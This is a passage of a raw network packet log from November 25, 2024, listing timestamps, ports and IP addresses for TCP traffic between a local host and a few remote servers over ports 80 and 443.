Nov 25, 2024 07:53:22.194772005 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.195919991 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.195992947 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.202649117 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.202672958 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.202785969 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.202785969 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.202795982 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.202888966 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.208084106 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.208115101 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.208188057 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.208199024 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.208236933 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.208250046 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.214759111 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.214780092 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.214931965 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.214946985 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.215064049 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.217673063 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.217691898 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.217734098 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.217758894 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.217775106 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.217796087 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.224648952 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.224718094 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.224769115 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.224786043 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.224821091 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.224870920 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.234241009 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.234251976 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.234266043 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.234267950 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.234319925 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.234344006 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.234349966 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.234402895 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.234410048 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.235359907 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.235496998 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.235501051 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.235719919 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.236460924 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.236500025 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.236531973 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.236543894 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.236596107 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.236596107 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.237148046 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.237173080 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.237238884 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.237267017 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.237307072 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.238929987 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.238987923 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.239043951 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.239043951 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.242425919 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.242522001 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.242532969 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.242599964 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.246011019 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.246073008 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.246119976 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.246175051 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.249589920 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.249650002 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.249675989 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.249700069 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.253165960 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.253177881 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.253263950 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.253341913 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.253361940 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.253472090 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.253472090 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.253480911 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.253566027 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.256686926 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.256803036 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.256809950 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.257144928 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.260206938 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.260307074 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.296644926 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.296715975 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.296787024 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.296828985 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.297939062 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.298007965 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.298453093 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.298523903 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.298557997 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.298690081 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.301090956 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.301160097 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.301162958 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.301222086 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.303692102 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.303755045 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.303806067 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.303946018 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.306339979 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.306401968 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.306436062 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.306474924 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.309056044 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.309067965 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.309135914 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.311554909 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.311664104 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.311760902 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.311881065 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.314089060 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.314162016 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.314199924 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.314276934 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.316541910 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.316565990 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.316622019 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.316667080 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.318936110 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.319042921 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.319067001 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.319101095 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.321301937 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.321365118 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.321403027 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.321464062 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.323631048 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.323679924 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.323724985 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.323774099 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.325980902 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.326081991 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.328042030 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.328313112 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.328464031 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.328489065 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.328531027 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.330684900 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.330741882 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.330774069 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.330828905 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.331243038 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.331275940 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.331338882 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.331367970 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.331381083 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.331537008 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.333009958 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.333107948 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.333117008 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.333159924 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.335479021 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.335509062 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.335527897 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.335556984 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.337692022 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.337816000 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.337877035 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.340070963 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.340136051 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.340137005 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.340174913 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.340560913 CET	443	49736	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:22.341901064 CET	49736	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:22.341908932 CET	443	49736	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:22.342375040 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.342396021 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.342417955 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.342438936 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.344429970 CET	49736	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:22.344434023 CET	443	49736	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:22.344716072 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.344779015 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.344811916 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.344849110 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.347059011 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.347177029 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.347198009 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.347218990 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.349394083 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.349517107 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.349539995 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.349559069 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.351735115 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.351818085 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.351914883 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.351969957 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.354080915 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.354146004 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.354175091 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.354228020 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.356431961 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.356504917 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.356544971 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.356544971 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.358772993 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.358825922 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.358891010 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.359021902 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.360069036 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.360137939 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.360177994 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.360193014 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.360225916 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.360244989 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.360934973 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.360991001 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.361037970 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.361053944 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.361072063 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.361100912 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.361144066 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.361157894 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.361228943 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.363416910 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.363507032 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.363508940 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.363604069 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.365667105 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.365725994 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.365740061 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.365780115 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.367883921 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.367953062 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.367984056 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.368012905 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.368802071 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.368896961 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.368942022 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.368952990 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.368979931 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.369005919 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.369493008 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.369539022 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.369576931 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.369585037 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.369611025 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.369632959 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.370079994 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.370121002 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.370174885 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.370248079 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.372256041 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.372365952 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.372373104 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.372414112 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.374439955 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.374560118 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.374562979 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.374655008 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.376645088 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.376661062 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.376699924 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.376725912 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.376746893 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.376775026 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.376806021 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.376813889 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.376818895 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.376835108 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.376853943 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.376857996 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.376919031 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.376966000 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.378722906 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.378875017 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.384632111 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.384650946 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.384732008 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.384740114 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.384922981 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.385221004 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.385245085 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.385298967 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.385307074 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.385338068 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.385365009 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.394962072 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.395004034 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.395062923 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.395070076 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.395118952 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.399544001 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.399561882 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.399641991 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.399652004 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.399693966 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.400516987 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.400541067 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.400644064 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.400654078 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.400785923 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.413100004 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.413108110 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.413131952 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.413136959 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.413218021 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.413225889 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.413228989 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.413239956 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.413316965 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.413340092 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.414206028 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.414225101 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.414299011 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.414314032 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.414367914 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.414601088 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.414622068 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.414668083 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.414675951 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.414714098 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.414743900 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.428004026 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.428036928 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.428157091 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.428157091 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.428170919 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.428595066 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.428611994 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.428674936 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.428719044 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.428800106 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.428917885 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.429027081 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.429055929 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.429063082 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.429121017 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.429121017 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.429203033 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.429220915 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.429258108 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.429269075 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.429296017 CET	49729	443	192.168.2.6	150.171.27.10
